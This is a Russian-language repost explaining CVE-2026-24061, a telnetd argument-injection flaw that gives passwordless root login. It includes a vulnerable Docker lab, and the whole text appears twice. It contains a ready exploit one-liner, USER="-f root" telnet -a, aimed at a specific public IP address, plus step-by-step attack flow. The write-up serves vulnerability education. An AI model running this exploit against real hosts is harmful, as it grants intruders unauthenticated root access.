вольтаж dan repost
взломать интернет бесплатно 2026
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что? 🐱
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
/usr/bin/login " -p -h %h %?u{-f %u}{%U}"
и вот тут происходит кабум бабах ракета взрыв 🤯
1. В бинаре login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"
2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе $USER с целевым логином
3. содержимое $USER переменной никак не санитизируется
. . .
Теперь перечитай эксплойт
USER="-f root" telnet -a 104.16.149.244 23
Да это же уязвимость на argument injection!
Повторим флоу атаки 🃏
0. выставляем переменную $USER="-f root" и включаем автологин -a
1. переменная $USER не проверяется, но учитывается сервером
2. $USER подставляется в шаблон логина вместо {%U}
3. сервер получает команду /usr/bin/login -p -f root
4. бинарь login скипает аутентификацию из-за -f
5. поздравляю, ты root
———
Dockerfile для тестовой лабы
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/## telnet/telnet/' /etc/inetd.conf
COPY docker-entrypoint.sh /docker-entrypoint.sh
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
USER="-f root" telnet -a 104.16.149.244 23
вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.
что? 🐱
Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.
Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.
Без Kerberos, этот юзернейм попросту не детектился.
Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.
Новый шаблон:
/usr/bin/login " -p -h %h %?u{-f %u}{%U}"
и вот тут происходит кабум бабах ракета взрыв 🤯
1. В бинаре login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"
2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе $USER с целевым логином
3. содержимое $USER переменной никак не санитизируется
. . .
Теперь перечитай эксплойт
USER="-f root" telnet -a 104.16.149.244 23
Да это же уязвимость на argument injection!
Повторим флоу атаки 🃏
0. выставляем переменную $USER="-f root" и включаем автологин -a
1. переменная $USER не проверяется, но учитывается сервером
2. $USER подставляется в шаблон логина вместо {%U}
3. сервер получает команду /usr/bin/login -p -f root
4. бинарь login скипает аутентификацию из-за -f
5. поздравляю, ты root
———
Dockerfile для тестовой лабы
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/## telnet/telnet/' /etc/inetd.conf
COPY docker-entrypoint.sh /docker-entrypoint.sh
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч